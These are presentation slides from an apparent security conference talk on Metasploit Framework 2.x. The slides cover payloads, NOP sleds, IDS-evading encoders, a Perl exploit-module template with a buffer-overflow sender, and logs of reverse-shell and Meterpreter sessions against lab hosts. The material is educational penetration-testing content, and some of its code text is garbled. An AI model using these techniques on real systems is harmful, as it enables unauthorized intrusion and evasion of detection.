Metasploit Deux ~~intropy~~

Metasploit Deux intropy

What we did last time Covered some basics msfconsole msfcli Environment variables Locale context variables (set) Global context variables (setg) Saving variables Showed some exploits MS-04-011 Samba trans2open Launched a few failed demos VNC demo Reverse Connect demo

What has changed since New version 2.4 New msfweb interface with improved handling Updated exploits for more reliable exploitation 33 New exploits (Including 2.3) Aim goaway iis w3who overflow solaris dtspcd noir wins ms04 045 SunRPC and XDR Perl API General Payload improvements PassiveX payload Loads arbitrary ActiveX through Internet Explorer Loads the stage 2 payload over HTTP Interact with cmd.exe, VNC, Meterpreter over HTTP

What we will cover The framework in general Directory structure Encoders Generators Payloads Modules Impurity Meterpreter

General Frameworkery Getting your feet wet

What is the Framework? The Metasploit project decided to create a development framework for exploits. An environment for interested parties to quickly and easily develop code. On the surface it contains a handful of exploits that you can launch against a box and potentially own it. But under the hood it has a massive amount of flexability and technology that allows you to effectively build a real working exploit for your own purposes.

What the Framework isnt The Framework is not an attack tool developed for joe hacker to compromise NASA, but as a general interface for testing and writing exploits. If you think this will make you a l33t h4ck3r please pull your head out of your ass.

Coporate equivalents Currently there are 2 competing companies developing “Penetration testing tools/suites” Immunity Security (Dave Aitel) CANVAS Written in Python Tinkering and expanding is encouraged Smart system call proxying Costs around 1,300 CORE Security Technologies IMPACT Comprehensive automated penetration Several exploits Detailed reporting Fully automated penetration testing Costs around 10,000 (IIRC)

Installing the Framework On UNIX To install the Framework on your UNIX machine simply download the latest release to a working directory. Extract the tarball and change into the created directory (framework-2.3/). Since it is written in PERL you should be able to simply execute the UI of your choice. It is recommended to also install the supporting PERL modules from MSFDIR/extras. These allow command completion and SSL support. To install to a system wide location copy the entire tree to a directory (/usr/local/msf) and create symlinks from the msf* applications to a system wide binary path like /usr/local/bin. User created modules can be place in their home directory but need to reside under the /.msf directory. On Windows A downloadable installer utilizing Cygwin is provided on the Metasploit site. This installer is a stipped down version of Cygwin and includes everything you need to act like its UNIX counterpart

The Framework directory structure

./data The data directory countains supporting data for some of the Framework function. meterpreter/ Supporting files for the meterpreter msfweb/ Supporting files for the msfweb user interface shelldemo A shelldemo for meterpreter vncdll.dll The VNC dll for use with the VNC payload

./docs The docs directory contains several documents about the Framework. The Environment reference and Quickstart guides are particularly useful. Environment.txt - Environment variable reference text meterpreter.pdf Meterpreter user guide QUICKSTART.impurity Impurity quickstart guide QUICKSTART.msfcli Metasploit command line interface quickstart guide QUICKSTART.msfconsole Metasploit console interface quick start guide QUICKSTART.msfweb Metasploit web interface quickstart guide RELEASE 2.3.txt Framework 2.3 release notes SECURITY Using the Framework securely userguide.pdf Framework user guide

./exploits This directory contains the actual modules that constitute an exploit the Framework can use. A couple of the entries are listed below 3com 3cdaemon ftp overflow.pm afp loginext.pm aim goaway.pm apache chunked win32.pm arkeia agent access.pm arkeia type77 macos.pm arkeia type77 win32.pm wins ms04 045.pm

./extras The extras directory contains two PERL modules which enable SSL and command completion/history respectively. If you use the msfconsole installing these is highly recommended. Net SSLeay.pm-1.23.tar.gz PERL SSL module which enables the SSL option in an exploit module Term-ReadLine-Gnu-1.14.tar.gzPERL ReadLine module which enables command completion of all the options in the msfconsole. Installing this is almost a must.

./lib The lib directory contains several PERL modules that aide in creation of exploits. Several of these are required in all Framework exploits while others are helper modules for exploitation like DCERPC.pm Digest/ Contains the MD5.pm module for computing the digest Msf/ Base Framework modules for working with the various aspects of the environment NetPacket/ Network helpers like TCP/UDP/ICMP NetPacket.pm NetPacket base class Pex/ Contains lots of neat modules for use in the exploit modules like MSSQL/DCERPC/SMB classes Pex.pm Pex base class

./encoders All encoders available in your exploits can be found here. Alpha2.pm Countdown.pm JmpCallAdditive.pm None.pm OSXPPCLongXOR.pm OSXPPCLongXORTag.pm PexAlphaNum.pm PexFnstenvMov.pm PexFnstenvSub.pm Pex.pm QuackQuack.pm ShikataGaNai.pm Sparc.pm - An alphanumeric encoder XOR countdown encoder Additive XOR encoder No encoder Long XOR PPC encoder XOR Tag PPC encoder Another alphanumeric encoder Fnstenv Mov encoder FnstenvSub encoder XOR encoder PPC Dword encoder Key based encoder Sparc XOR encoder

./nops A NOP is a “No Operation” in the x86 architecture. This directory contains several PERL modules designed for generating NOPs on several platforms and architectures Alpha.pm MIPS.pm Opty.pm generator Pex.pm PPC.pm SPARC.pm - Generates alpha nops Generates nops on MIPS Variable instruction length nop The Pex libraries nops Nops for the PPC architecture Sparc nops

./payloads This directory contains the actual PERL modules that generate and handle payload creation in your exploit and the framework. A few are listed below. bsd ia32 bind ie.pm bsd ia32 bind.pm bsd ia32 bind stg.pm bsd ia32 exec.pm cmd interact.pm cmd irix bind.pm cmd sol bind.pm cmd unix reverse bash.pm win32 bind vncinject.pm win32 reverse meterpreter.pm

./sdk The sdk directory was created to help in understanding the method of exploit development in the Framework. The docs directory contains a few example exploits and reference texts. docs/ exploitReference.txt declarations exploitTutorial.txt creation svnserve date.pm vuln1 1.pmAn vuln1 2.pmAn vuln1 3.pmAn vuln1.c An vuln1 osx.pm - formatGen.pl patternOffset.pl offset/addr spitCode.pl A reference on the available functions and A tutorial outlining and detailing exploit A commented real world Framework exploit example that goes with the tutorial example that goes with the tutorial example that goes with the tutorial example vulnerable program written in c An example that goes with the tutorial for osx - Format string overwrite generator Finds a pattern in memory and dumps - Utility to extract things from code

./src The src directory contains all the source code for the meterpreter, VNC, and other shellcodes used in the Framework. If you are looking for some reference on the asm in the shellcode this is a good place to look. Also if you are looking for a good reference on dll injecting the VNC source is here as a guide. meterpreter/ Source for the meterpreter binaries shellcode/ Source to all the shellcode used in the Framework including the VNC dll’s

./tools The tools directory includes some helper applications for exploit research and development. memdump.c Source code for memdump memdump.exe Dumps the memory of a running process README.memdump README for memdump README.socketNinja README for socketNinja socketNinja.pl socketNinja creates a listener and handler for all incoming socket connections. This can be used if you are exploiting multiple hosts to manage your shells

NOP Generators The chips and salsa

What they are NOPs are “No Operations”. Effectively this means an instruction that doesn’t do anything. NOPs are usually created for timing. However in an exploit these can be leveraged to help the target computer get to our payload.

What they do As stated before they don’t do anything. However in exploit development they allow the attacker to guess at the return address of the crashing program. This provides more reliability when exploiting programs

What is the point The point is to get our target to execute our code. To make it execute our code we use a no operation so we do not have to be exact in our code. By allowing us some flexibility in our exploit we can target several platforms regardless of minor stack changes [0xbfffed80][\x90\x90\x90\x90\x90][payload]

What the Framework provides As we saw in the ./nops directory the Framework provides countless number of NOPs for use in an exploit. Each architecture has a different method of achieving a no operation and often times (as in x86) there are 50 different NOPs. Since many IDS systems watch for the typical 0x90 instruction using different combinations make pattern matching detection harder for anyone watching.

Payloads If this was dinner payloads are the steak

What they are A payload is our meat. The code or command we want a target to execute on our behalf. Payloads use to be referred to as shellcode which is a little misleading as it is not always a shell you are executing

What they do Payloads do whatever we want. This can be a program that connects to our host giving us a shell. This can also be a command like ‘useradd intropy’. When we exploit a program the payload will be the new task running once we control execution

What is the point The fucking point is to run your own code instead of the intended code. No one wants a foreign intruder to have the capability of doing this and that is the point. Our payload (aka code) runs when the program has been exploited and control is in our hands.

What does the Framework provide Probably one of the greatest benefits of the Framework is the number of payloads available. The list is comprehensive and reliable. We have all the control we want from a simple port bind on Linux. To your own program being uploaded through a secure socket and run. This gives the exploiter many options. For instance if you are exploiting a host behind a firewall that allows outbound traffic the reverse connect back shell would call out to you for control how’s that for service.

Encoders Putting your food in a to-go box

What they are An encoder scrambles our NOPs and payloads. There are several methods well documented on different encoding but effectively this hides our exploit from prying eyes

What they do Most encoders use an algorithm to change parts of the payload. This algorithm often times includes a decoder so that when the payload reaches its target the machine can understand what it really needs to do after it runs the decoder

What is the point Modern IDS system will watch traffic on a network. When it spots traffic with a known attack signature it will alert its owner. With an encoder we can hinder this by scrambling the data with an encoder effectively making this look like normal traffic or garbage.

How do you stop them Most people try and stop the encoder by keying off the method used. For instance a well known type of encoding was developed by K2 of ADM in his program ADMmutate. This effectively changed the payload of the exploit each time it was ran. Instead of looking for a static string to match on, the morphed NOP sled and payloads are checked against the encoding method/algorithm.

What the Framework provides Several encoders are included with the Framework. Just like payloads they are mostly available to all exploits. Encoders which can convert payload to plain ASCII and XOR based off a key are fairly useful.

Creating a Module Adding your own exploit

What is a module? A module for all intents and purposes is an exploit. The framework uses the PERL module system to define and access needed information. Your exploit will in fact be a working PERL module. We define methods and variables, or call external functions in a easy, well documented way.

What is required? A few things are needed by every new module/exploit. One of the most important is the package declaration. package Msf::Exploit::my new sploit; This tells the UI to load the module and all methods upon execution. Be aware that your exploit name, package, and file need to all match exactly or the Framework will not find it. Next we define some base classes and helper modules use base ‘Msf::Exploit’; use Msf::Socket::Tcp; use Pex::Text;

Cont Lets move on to some required variables. my advanced { }; The advanced hash allows us to define advanced features we may want to use in our modules. Some of the options include StackTop StackBottom IgnoreErrors Top address of a brute force Bottom address of a brute force Ignore module errors By declaring advanced features we can allow the person using this module to make changes as they see fit. Someone might want to ignore errors and this allows them to in the UI.

Cont Moving right along, we have the info hash. This variable is required for defining information characteristics of your module. Below is an example. my info { ‘Name’ ‘Name of your Exploit’, ‘Version’ ‘Module version info’, ‘Authors’ [ ‘intropy intropy at caughq.org’,], ‘Arch’ [ ‘x86’ ], ‘OS’ [ ‘linux’, ], ‘Priv’ 1,

Cont ‘UserOpts’ { ‘RHOST’ [1, ‘ADDR’, ‘the target’, ‘127.0.0.1’], ‘RPORT’ [1, ‘PORT’, ‘the target port’, 214], }, ‘Payload’ { ‘Space’ 2000, ‘BadChars’ “”, ‘MinNops’ 16, } ‘Description’ Pex::Text::Freeform(qq{ This is a description of our exploit/module. }), ‘Refs’ [ ‘http://caughq.org’ ], ‘Targets’ [ ‘Linux’, 0xbfffffff ], } Here we define some options for the user to control like target addr and port. We also set up our payload, give a description to the module, some references and a target to go after.

Cont I will put these two methods, new and Exploit, below for reference as we will cover them in the demo. sub new { my class shift; my self class- SUPER::new({'Info' info, 'Advanced' advanced}, @ ); return( self); } sub Exploit { my self shift; my targetHost self- GetVar('RHOST'); my targetPort self- GetVar('RPORT'); my targetIndex self- GetVar('TARGET'); my target self- Targets- [ targetIndex]; my ret target- [1]; my encodedPayload self- GetVar('EncodedPayload'); my shellcode encodedPayload- Payload;

Cont my sock Msf::Socket::Tcp- new( 'PeerAddr' targetHost, 'PeerPort' targetPort, ); if( sock- IsError) { self- PrintLine('Error creating socket: ' . sock- GetError); return; } my evil 'A' x self- GetLocal('PreRetLength'); evil . pack('V', ret) x int( self- GetLocal('RetLength') / 4); evil . shellcode; sock- Send( evil); return; }

Bruteforce The Framework provides a very clear way to allow your modules to bruteforce return values. In the advanced options we define a few variables we looked at previously. my advanced { # Where to start brute forcing 'StackTop' ['', 'Start address for stack ret bruteforcing, empty for defaults from target'], # Where to stop brute forcing 'StackBottom' ['', 'End address for stack ret bruteforcing, empty for defaults from target'], # The increment used during brute forcing, auto calculation is important! 'StackStep' [0, 'Step size for ret bruteforcing, 0 for auto calculation.'], # How long to wait in between brute force attempts, good to give things a # chance to clean up, and also give the handlers a chance to process a # possible connection. 'BruteWait' [.4, 'Length in seconds to wait between brute force attempts'], # An exploit vector value, probably not going to be changed 'RetLength' [100, 'Length of rets after payload'], # Allow the user to continue on fail 'IgnoreErrors' [0, 'Keep going even after critical errors.'], };

Brutforce cont By providing a good interface to bruteforcing, it gives us a good way to make unreliable exploits more reliable. As you can gather from the added advanced options we can then loop in our module code starting at the StackTop and going until we hit StackBottom stepping accordingly.

Installing for use Because of the way modules are loaded we must move our new exploit/module into the MSFDIR/exploits/ directory. That’s it. Now when you run the msfconsole you will see your exploit in the list. [root@redhat9 framework-2.3]# ls -la exploits/dc214 snomad.pm -rw-r--r-- 1 root root 3354 Apr 26 04:03 exploits/dc214 snomad.pm [root@redhat9 framework-2.3]# [root@redhat9 framework-2.3]# ./msfcli dc214 snomad S Name: dc214 exploit of the snomad server Version: Revision: 1.1 Target OS: linux Keywords: dc214 Privileged: Yes cut Description: This exploits the demo server used in snomads presentation on exploit development given in Feb. References: http://www.caughq.org http://www.nmrc.org

Launching in msfconsole Just like the other exploits there are required parameters we defined in the creation of the module. First we will select the module, then fill out requirements, and of course launch the exploit. msf use dc214 snomad msf dc214 snomad set RHOST 127.0.0.1 RHOST - 127.0.0.1 msf dc214 snomad set TARGET 0 TARGET - 0 msf dc214 snomad set PAYLOAD linux ia32 bind PAYLOAD - linux ia32 bind msf dc214 snomad(linux ia32 bind) show options Exploit and Payload Options Exploit: Name Default Description -------- ------ --------- -----------------required RHOST 127.0.0.1 The target address required RPORT 214 The target port Payload: Name Default Description -------- ------ ------- ----------------------------required LPORT 4444 Listening port for bind shell Target: Red Hat 8 msf dc214 snomad(linux ia32 bind) exploit [*] Starting Bind Handler.

*D-D-D-Demo* Creating and launching our custom exploit

Impurity Sounds good to me

What is Impurity? Impurity is an injection technique developed by Alexander Cuttergo. The technique is a method of inserting code into the memory of a running process.

What is the theory By statically linking and mapping a process into the exploited applications memory area we can effectively write a program in c without all the fuss of turning it into shellcode. Now this is achieved in two steps (called stages). The first part is exploiting a process with the linux ia32 reverse impurity payload. This contains the necissary assembly code to handle the loading of our program. Once the target process has been exploited and the first stage payload ran it connects back and injects the second stage (aka our impurity compiled program). This may seem like a lot of work but the Framework makes it very simple and straight forward.

What is the potential Well imagine being able to write any code you want in C and using it as a payload. Now imagine you can download something you like off the net and have it run as a payload. If that sounds fancy then you have realized some of the potential of using Impurity payloads.

Impurity Caveats During my brief use of Impurity and payloads I found a couple caveats. The biggest was malloc() failing. Any call to allocate memory exited from my program. There could be several reasons why but changing everything to static buffers fixed it. Be aware of things like this when debugging your Impurity binary. Also remember to keep things as simple as possible since you will potentially be executing your code In a hostile memory block.

How is it used in the Framework The Framework tries to make it as simple as possible to compile and use a program with Impurity. First we would need to write a program, for this example I made a hello world type application. Be aware however that we will be compiling this with diet-libc and thus do not have all the functionality of glibc. To compile this we copy the source to the Impurity directory and edit the make file. Once we complete that typing ‘make’ compiles the source and links it with the Impurity library.

Cont Heres those steps [root@redhat8 /]# cd /root/metasploit/framework-2.3/src/shellcode/linux/impurity [root@redhat8 impurity]# cat hello dc214.c main() { printf("\n\nHello dc214\n\n"); } [root@redhat8 impurity]# grep dc214 Makefile all: shelldemo tracepath CAU-term CAU-sniffer hello dc214 hello dc214: hello dc214.c diet gcc -Wl,-T,script-ld-impurity -o hello dc214 hello dc214.c -s -static /sbin/chpax -m hello dc214 /dev/null 2 &1 true [root@redhat8 impurity]# make diet gcc -Wl,-T,script-ld-impurity -o hello dc214 hello dc214.c -s -static /sbin/chpax -m hello dc214 /dev/null 2 &1 true [root@redhat8 impurity]#

Using it in an exploit Ok so now we have a binary ready for world domin ] ]in an exploit. This starts the same as using a regular payload except youll notice the PEXEC option. Yes that is where we put our newly compiled program including the full path. Once that’s changed its all easy sailing. msf samba trans2open(linux ia32 reverse impurity) set PEXEC /root/metasploit/framework2.3/src/shellcode/linux/impurity/hello dc214 PEXEC - /root/metasploit/framework-2.3/src/shellcode/linux/impurity/hello dc214 msf samba trans2open(linux ia32 reverse impurity) exploit [*] Starting Reverse Handler. [*] Starting bruteforce mode for target Linux x86 [*] Trying return address 0xbffff1fc. [*] Got connection from 192.168.11.3:4321 - 192.168.11.3:32781 [*] Sleeping before sending impurity data. [*] Uploading impurity data (6832), Please wait. [*] Executing impurity data. Hello dc214 [*] Exiting Reverse Handler. msf samba trans2open(linux ia32 reverse impurity)

* D-D-D-Demo * The Impurities of CAU

Meterpreter Goodness incarnate

What is the meterpreter The Meterpreter is short for The MetaInterpreter. It is an extendable platform for creating a post attack way to implement complex features you wouldn’t want to do in assembly. Think a hackers ‘cmd.exe’. However it is not just limited to the built in command functions. You can create your own modules to use on the target system. Also the meterpreter operates inside the target process. Meaning upon examination a system will not see it run. Unlike executing cmd.exe inside shellcode.

Cont The Meterpreter works in a client - server configuration. Where the server mearly acts as a communication and loading mechanism for your dastardly deads. A protocol is designed to handle this communication and can be referenced in the user guide. The extensions can either be for client or server usage and support any language that can create a shared object (DLL) and support the cdecl calling convention*

Why do I want this Why wouldn’t you want this? The Meterpreter allows you great flexability post exploitation. You can use the included extensions to do various tasks or write your own DLL to use on the target system. With that said the Meterpreter also uses a technique for remotely injecting the libraries into memory hiding your activity.

What is the potential Endless. The Meterpreter packaged with the Framework has a wealth of extensions included. For instance, one of the extensions, Fs, allows for uploading and downloading files to and from the remote machine. However delving into the custom extensions (DLL) lies endless possibilities.

How is this used in the Framework Simply. The Framework provides a payload the loads the Meterpreter into the target process creating the server portion. Once that is complete it creates a client instance for your control. The mentioned client/server implementation seems transparent when used inside the Framework but needs to be considered when doing complex tasks.

What does it come with A number of extensions are included with the Framework that provide other potentially useful commands. The source code of these extensions is included as an example and can easily be modified for other uses. The following extensions are currently included: Fs Provides interaction with the filesystem on the remote machine. Net Provides interaction with the network stack on the remote machine. Process Provides interaction with processes on the remote machine. Sys Provides interaction with the environment on the remote machine.

Using it in an exploit As with everything else using this is as simple as making it the payload. The needed options for setting up the payload should be automatically set (Except the LHOST). After exploitation you can use the built in help command the Meterpreter provides to further your investigation. msf msrpc dcom ms03 026 set PAYLOAD win32 reverse meterpreter msf msrpc dcom ms03 026(win32 reverse meterpreter) show options required METDLL /root/metasploit/framework-2.3/data/meterpreter/metsrv.dll The full path the meterpreter server dll msf msrpc dcom ms03 026(win32 reverse meterpreter) exploit [*] Starting Reverse Handler. [*] Connected to REMACT with group ID 0x1db38 [*] Got connection from 192.168.11.3:4321 - 192.168.11.2:1032 [*] Sending Stage (2834 bytes) [*] Sleeping before sending dll. [*] Uploading dll to memory (69643), Please wait. [*] Upload completed meterpreter [ - connected to - ] [ - meterpreter server - ] [ - v. 00000500 - ] meterpreter help

Cont meterpreter use -m Process loadlib: Loading library from 'ext225759.dll' on the remote machine. loadlib: success. meterpreter help Process Process manipulation and execution commands ------------ ---------------execute Executes a process on the remote endpoint kill Terminate one or more processes on the remote endpoint ps List processes on the remote endpoint meterpreter execute -f cmd -c execute: Executing 'cmd'. execute: success, process id is 536. execute: allocated channel 2 for new process. meterpreter interact 2 interact: Switching to interactive console on 2. interact: Started interactive channel 2. Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32

* D-D-D-Demo * Multi host proxy attacks

Metasploit 3.0 Greater focus. Not just about exploits and payloads. Embedded for use in other applications Staged payloads becoming the norm “Pivoting” though hosts like commercial tools Designed for threads Strong support for automation Test suites Ability to test defensive infrastructures

Metasploit 3.0 Cont The word is the next gen of the Framework will be written in Ruby. Clean and simple language that is easy to learn Strong object model Decent library support Builds natively on Win32 2.x will stay Perl and continue in parallel

* VNC Injection Demo * Because odds are this time it works

Conclusion The Framework is not just a script kiddie attack tool. A lot has gone into giving a developer/researcher the opportunity to create exploits easily and powerfully. However, the advanced features really give the Framework teeth and solidify it as a viable strong penetration testing tool.

References http://www.immunitysec.com/downloads/Immunity CANVAS. pdf http://www1.corest.com/products/coreimpact/index.php http://www.metasploit.com/projects/Framework/docs/Change Log http://www1.corest.com/products/coreimpact/index.php http://www.sans.org/resources/idfaq/polymorphic shell.php http://www.metasploit.com/projects/Framework/ documentation.html#exploitTutorial http://archives.neohapsis.com/archives/vuln-dev/2003-q4/000 6.html http://www.metasploit.com/projects/Framework/docs/meterpr eter.pdf http://www.metasploit.com/confs/core05/ core05 metasploit.pdf

Questions?

easy